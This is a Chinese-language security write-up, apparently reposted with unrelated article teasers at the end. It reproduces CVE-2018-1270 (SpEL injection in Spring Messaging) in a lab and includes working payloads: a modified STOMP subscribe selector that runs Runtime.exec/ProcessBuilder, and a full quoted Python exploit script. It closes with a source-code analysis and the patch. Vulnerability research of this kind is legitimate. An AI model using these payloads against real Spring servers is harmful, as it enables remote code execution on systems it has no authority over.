[JAVA安全]Spring Messaging之CVE-2018-1270

news/2023/11/29 6:53:25

 

漏洞简介

Spring 框架中通过spring-messaging 模块来实现 STOMP (Simple Text-Orientated Messaging Protocol),STOMP是一种封装 WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行, spring-messaging和spring-websocket模块都能提供WebSocket支持的STOMP,一旦有了这些依赖项,就可以通过WebSocket使用SockJS Fallback公开STOMP端点。

具体的说,在Spring Messaging 中,其允许客户端订阅消息,并使用selector 过滤消息,其中 selector 使用SpEL 表达式编写,并使用StandardEvaluationContext解析,从而导致SpEL表达式注入漏洞。

推荐一篇文章 以理解 STOMP :Spring消息之STOMP - JMCui - 博客园 (cnblogs.com)

 引用p神的描述:

spring-messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。 连接后端服务器的流程,可以理解为:

1. 用STOMP协议将数据组合成一个文本流

2. 用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

正是由于第2条的存在,我们才可以使用http来复现该漏洞,称之为“降维打击”

如同提及 Struts2 RCE 类漏洞都要提及OGNL 表达式语言

而 Spring 的RCE 类漏洞 往往和SpEL 表达式有关

环境搭建:

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket回退到 漏洞版本
cd gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

然后导入到IDEA,进行MAVEN加载

 运行成功:

漏洞复现:

方式一:

通过开发者工具F12 修改其中的 app.js 里面的 connect函数 

如何修改,直接定义一个header,里面写入json格式的“selector”,值为SpEL表达式,内容是弹计算器;最后在加入该header

 var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};

最后记得保存一下该app.js

这个时候,依次点击Connect,输入任意字符串,单击Send

 

 利用完成了,但是感觉不是RCE,就像是修改本地文件一样。

但是如果你去Console 看一眼,你会发现整个通讯过程很多是js 完成的,不是app.js发起,就是调用 stomp.min.js 来发起

方式二:

从前面提到

STOMP是将数据组合成文本流spring-messaging通过sockjs协议发送该文本流,走的是websocket或xhr其中一种通道 

具体可以在 "网络"  可以看到

 其实可以发现当你点击完Connect按钮以后,剩余的通讯过程双方全是通过Websocket进行了,当然通讯的内容我们也是可以直接在里面看的,切换到“Frames”选项卡,可以看见完整的通讯内容

当然,这个只能看不能改,能不能类似burp改http包来改包呢?

毕竟我们知道:burp是能拦截修改websocket数据包的,所以自然可以用于发现并修改整个connect和send的过程websocket的相关情况。同时改app.js这种方式本质上是发送的内容中加了header字段,里面写了selector和SpEL表达式实现命令执行。讲道理是可以用burp替代浏览器完成相关发包操作的。

如果这个时候你用burp抓一下Chrome浏览器的数据包,你会非常震惊地发现:

啥包都没抓到

如果遇到这个情况,你可以改用Firefox浏览器,就可以抓取到相关数据包

步骤1 :

 先单击“Connect”按钮建立连接,依次抓取并释放,直到抓到内容为以下的websocket包时

在greetings后面添加payload(适用Windows系统),注意双引号使用反斜杠进行转义

 完整pyload:

["SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:new java.lang.ProcessBuilder(\"calc\").start()\n\n\u0000"]

步骤2:

在文本框中输入任意字符串即可,然后点击  "Send"

 ta

使用burp修改websocket包这种方式适合漏洞复现,有点感觉,但是CVE-2018-1270这个漏洞,网上已经有POC和EXP流出了,有没有可以用python直接执行exp的脚本这种方式实现命令执行呢?

P牛在vulhub上已经贴出https://github.com/vulhub/vulhub/blob/master/spring/CVE-2018-1270/exploit.py

我们可以直接下载下来,使用的时候注意几点:

1. 使用spring的guides项目构建的环境无需修改路径,实际项目可能路径会发生变化;
2. 修改sockjs中的目标URL地址;
3. 修改sockjs的send方法中的seletor内容,修改想执行的命令
4. 建议使用python3.6及以上版本运行该exp;
import requests
import random
import string
import time
import threading
import logging
import sys
import jsonlogging.basicConfig(stream=sys.stdout, level=logging.INFO)def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))class SockJS(threading.Thread):def __init__(self, url, *args, **kwargs):super().__init__(*args, **kwargs)self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'self.daemon = Trueself.session = requests.session()self.session.headers = {'Referer': url,'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'}self.t = int(time.time() * 1000)def run(self):url = f'{self.base}/htmlfile?c=_jp.vulhub'response = self.session.get(url, stream=True)for line in response.iter_lines():time.sleep(0.5)def send(self, command, headers, body=''):data = [command.upper(), '\n']data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))data.append('\n\n')data.append(body)data.append('\x00')data = json.dumps([''.join(data)])response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)if response.status_code != 204:logging.info(f"send '{command}' data error.")else:logging.info(f"send '{command}' data success.")def __del__(self):self.session.close()sockjs = SockJS('http://127.0.0.1:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'
})
sockjs.send('subscribe', {'selector': "T(java.lang.Runtime).getRuntime().exec('calc')",'id': 'sub-0','destination': '/topic/greetings'
})data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'
}, data)

整个过程如果顺利的话,就是这样,py里字符串是vulhub

简单看下脚本内容,实际上可以发现本EXP就是使用python将sockjs的send方法实现了一遍,实现了给指定url发送含有SpEL表达式的websocket请求。

对于本EXP(实际上是POC),P牛自己也阐述了大致流程和其中的局限性,这里引用一下:

1.基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
2.待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
3.某一个订阅的地址,如vulhub中为:/topic/greetings
4.如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

漏洞分析

不具体调试分析,只分析漏洞点,具体调试分析可以参考其他文章

从补丁的文件开始分析,即 spring-messaging/src/main/java/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java    

关键在于  addSubscriptionInternal()函数,这里对header参数进行了接收和处理,其中会获取header中的selector,当selector不为空时则设置到expression  (表达式)中:

@Override
protected void addSubscriptionInternal(String sessionId, String subsId, String destination, Message<?> message) {Expression expression = null;MessageHeaders headers = message.getHeaders();String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);if (selector != null) {try {expression = this.expressionParser.parseExpression(selector);this.selectorHeaderInUse = true;if (logger.isTraceEnabled()) {logger.trace("Subscription selector: [" + selector + "]");}}catch (Throwable ex) {if (logger.isDebugEnabled()) {logger.debug("Failed to parse selector: " + selector, ex);}}}this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);

通过sessionIdsubsId确定一个selector属性,后续服务端就通过这个subsId来查找特定会话,也就是从headers头部信息查找selector,由selector的值作为expression被执行

前面这是Subscribe操作时设置的selector,我们知道漏洞的触发是在Send之后,接着看下Send之后的函数调用。

看到org\springframework\messaging\simp\broker\SimpleBrokerMessageHandler.java,其中有个

sendMessageToSubscribers()函数,即将我们要发送的数据发送给订阅者,其中参数message保存了此次连接的相关信息,message的头部信息包含了selector的属性,调用了findSubscriptions()函数:

protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);...
}

我们跟进查看findSubscriptions()函数,位于org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java中,这里将message传进来findSubscriptionsInternal()函数中:

public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {...return findSubscriptionsInternal(destination, message);
}

跟进findSubscriptionsInternal()函数,位于org\springframework\messaging\simp\broker\DefaultSubscriptionRegistry.java中,这里将message传入了filterSubscriptions()函数进行处理:

@Override
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);return filterSubscriptions(result, message);
}

跟进filterSubscriptions()函数,同样在DefaultSubscriptionRegistry.java中定义了,该函数获取前面配置的selector来对subscriptions进行过滤选择,如下

private MultiValueMap<String, String> filterSubscriptions(MultiValueMap<String, String> allMatches, Message<?> message) {if (!this.selectorHeaderInUse) {return allMatches;}EvaluationContext context = null;MultiValueMap<String, String> result = new LinkedMultiValueMap<>(allMatches.size());for (String sessionId : allMatches.keySet()) {for (String subId : allMatches.get(sessionId)) {SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);if (info == null) {continue;}Subscription sub = info.getSubscription(subId);if (sub == null) {continue;}Expression expression = sub.getSelectorExpression();if (expression == null) {result.add(sessionId, subId);continue;}if (context == null) {context = new StandardEvaluationContext(message);context.getPropertyAccessors().add(new SimpMessageHeaderPropertyAccessor());}try {if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {result.add(sessionId, subId);}}catch (SpelEvaluationException ex) {if (logger.isDebugEnabled()) {logger.debug("Failed to evaluate selector: " + ex.getMessage());}}catch (Throwable ex) {logger.debug("Failed to evaluate selector", ex);}}}return result;
}

分析得知,通过Expression expression = sub.getSelectorExpression();来获取前面订阅时设置的Selector表达式,然后在if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))代码中调用了expression.getValue()函数,这就是漏洞触发点,成功触发了SpEL表达式注入漏洞。

补丁:

Re-use EvaluationContext in DefaultSubscriptionRegistry · spring-projects/spring-framework@e0de912 · GitHub

主要是修改了DefaultSubscriptionRegistry这个类,用SimpleEvaluationContext来替代了StandardEvaluationContext,也就是采用了SpEL表达式注入漏洞的通用防御方法。

参考文献:

spring-messaging Remote Code Execution 分析-【CVE-2018-1270】

浅析Spring Messaging之CVE-2018-1270 [ Mi1k7ea ]

IDEA动态调试分析Spring RCE CVE-2018-1270 - MeetSec遇安


http://www.ppmy.cn/news/26332.html

相关文章

关于线程池的执行流程和拒绝策略

使用线程池的好处为&#xff1a; 降低资源消耗&#xff1a;减少线程的创建和销毁带来的性能开销。 提高响应速度&#xff1a;当任务来时可以直接使用&#xff0c;不用等待线程创建 可管理性&#xff1a; 进行统一的分配&#xff0c;监控&#xff0c;避免大量的线程间因互相抢…

设计模式之观察者模式

文章の目录一、定义二、使用场景三、示例参考写在最后一、定义 观察者模式定义了一种一对多的依赖关系&#xff0c;让多个观察者对象同时监听某一个主题对象(通知者)。这个主题对象观察到被观察者发生变化时&#xff0c;会通知所有的观察者对象&#xff0c;使它们能够自己更新…

宏观经济研究:全国各省、地级市-社会融资规模增量数据(包含总额及8类明细)2013-2021年

数据来源&#xff1a;中国人民银行 时间跨度&#xff1a;2013-2021年&#xff0c;季度数据&#xff08;累计数&#xff09; 区域范围&#xff1a;全国31省份 数据字段&#xff1a; 31个省市社会融资规模增量数据&#xff0c;包含社会融资总额以及8类明细&#xff08;人民币…

Java File类、IO流、Properties属性类

文章目录一、补充二、File类File类的含义创建多级文件File类的常见方法三、IO流IO流分类输入输出流FileOutputStreamInputStreamInputStream与OutputStream的实例ReaderWriterFileReader和FileWriter的实例缓冲流转换流序列化与ObjectInputStream、ObjectOutputStream打印流Pro…

链式前向星介绍以及原理

1 链式前向星 1.1 简介 链式前向星可用于存储图&#xff0c;本质上是一个静态链表。 一般来说&#xff0c;存储图常见的两种方式为&#xff1a; 邻接矩阵邻接表 邻接表的实现一般使用数组实现&#xff0c;而链式前向星就是使用链表实现的邻接表。 1.2 出处 出处可参考此…

测试3.测试方法的分类

3.测试分类 系统测试包括回归测试和冒烟测试 回归测试&#xff1a;修改了旧的代码后&#xff0c;重新测试功能是否正确&#xff0c;有没有引入新的错误或导致其它代码产生错误 冒烟测试&#xff1a;目的是确认软件基本功能正常&#xff0c;可以进行后续的正式测试工作 按是否…

加油站会员管理小程序实战开发教程15 完结篇

这篇是本次实战课程的最后一篇,我们在上篇还有两个问题没解决。一个是会员卡类型显示不对,一个是不同的会员卡我们希望背景色显示不同。我们先处理一下这两个问题 1 显示会员卡类型 在列表上直接显示会员卡类型,目前显示的是数字,这个是因为枚举类型导致的。枚举类型在数…

python 中的import cfg问题

pip install cfg 报错: ERROR: Could not find a version that satisfies the requirement cfg (from versions: none) ERROR: No matching distribution found for cfg 要使用pip install cfg2才行

设计模式之工厂模式

文章の目录一、什么是工厂模式二、工厂模式有什么用&#xff1f;三、应用场景四、示例1、用字面量的方式创建对象2、使用工厂模式创建对象参考写在最后一、什么是工厂模式 工厂模式是一种众所周知的设计模式&#xff0c;广泛应用于软件工程领域&#xff0c;用于抽象创建特定对…

effective c++阅读之旅---条款29

为"异常安全"而努力是值得的&#xff01; 什么是异常安全&#xff1f; 所谓的"异常安全"&#xff0c;往往值得是函数接口的异常安全&#xff0c;它要求函数满足两个条件&#xff1a; 异常抛出时&#xff1a; 1、不泄露任何资源 2、不允许数据被破坏 异常安…

怎样查询PMP成绩?

【如何查询成绩】1、输入网址&#xff08;PMI官网&#xff0c;不知道网址的私戳&#xff09;&#xff0c;点击 Log In如果忘记 PMI 的账号和密码了&#xff0c;怎么办&#xff1f;可以在你报名机构官网的个人中心的学习中心的我的报名处查看 PMI 的注册名和密码2、点击 Exam An…

前端借助Canvas实现压缩图片两种方法

一、具体代码 1、利用canvas压缩图片方法一 // 第一种压缩图片方法&#xff08;图片base64,图片类型,压缩比例,回调函数&#xff09;// 图片类型是指 image/png、image/jpeg、image/webp(仅Chrome支持)// 该方法对以上三种图片类型都适用 压缩结果的图片base64与原类型相同// …

leetcode240+Search a 2D Matrix II+从右上角开始

链接 class Solution { public:bool searchMatrix(vector<vector<int>>& matrix, int target) {if(matrix.size()0 || matrix[0].size()0) return false;int i0, jmatrix[0].size()-1; //从右上角开始while (i<matrix.size()&&j>0) {int x mat…

雷达原理--绪论

1,radar 全称radio detection and rangeing即无线电探测与测距 2,频率的基本认知如下: 在信号处理中&#xff0c;频率是指一个信号中周期性变化的速度或频率。它通常以赫兹&#xff08;Hz&#xff09;作为单位&#xff0c;表示每秒钟发生多少周期。 频率可以描述信号的周期性、…

基于应力的拓扑优化的高效3D灵敏度分析代码(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5;&#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密…

node基于springboot 口腔卫生防护口腔牙科诊所管理系统

目录 1 绪论 1 1.1课题背景 1 1.2课题研究现状 1 1.3初步设计方法与实施方案 2 1.4本文研究内容 2 2 系统开发环境 4 2.1 JAVA简介 4 2.2MyEclipse环境配置 4 2.3 B/S结构简介 4 2.4MySQL数据库 5 2.5 SPRINGBOOT框架 5 3 系统分析 6 3.1系统可行性分析 6 3.1.1经济可行性 6 3.…

LeetCode笔记:Biweekly Contest 98

LeetCode笔记&#xff1a;Biweekly Contest 98 1. 题目一 1. 解题思路2. 代码实现 2. 题目二 1. 解题思路2. 代码实现 3. 题目三 1. 解题思路2. 代码实现 4. 题目四 比赛链接&#xff1a;https://leetcode.com/contest/biweekly-contest-98 1. 题目一 给出题目一的试题链接如…

2023年美赛C题Wordle预测问题三、四建模及Python代码详细讲解

更新时间:2023-2-19 16:30 相关链接 &#xff08;1&#xff09;2023年美赛C题Wordle预测问题一建模及Python代码详细讲解 &#xff08;2&#xff09;2023年美赛C题Wordle预测问题二建模及Python代码详细讲解 &#xff08;3&#xff09;2023年美赛C题Wordle预测问题三、四建模…

华为OD机试题 - 射击比赛(JavaScript)| 代码+思路+重要知识点

最近更新的博客 华为OD机试题 - 括号检查(JavaScript) 华为OD机试题 - 最小施肥机能效(JavaScript) 华为OD机试题 - 子序列长度(JavaScript) 华为OD机试题 - 众数和中位数(JavaScript) 华为OD机试题 - 服务依赖(JavaScript) 华为OD机试题 - 字符串加密(JavaScript)…

nginx基础学习

作为前端开发者&#xff0c;也很有必要了解一些运维部署知识。 nginx的作用有哪些&#xff1f; 负载平衡动静分离反向代理 何为反向代理&#xff1f; 反向代理即是&#xff0c;用户访问nginx服务器&#xff0c;nginx又将请求转发到真正服务器上&#xff0c;为什么用户不能直…
最新文章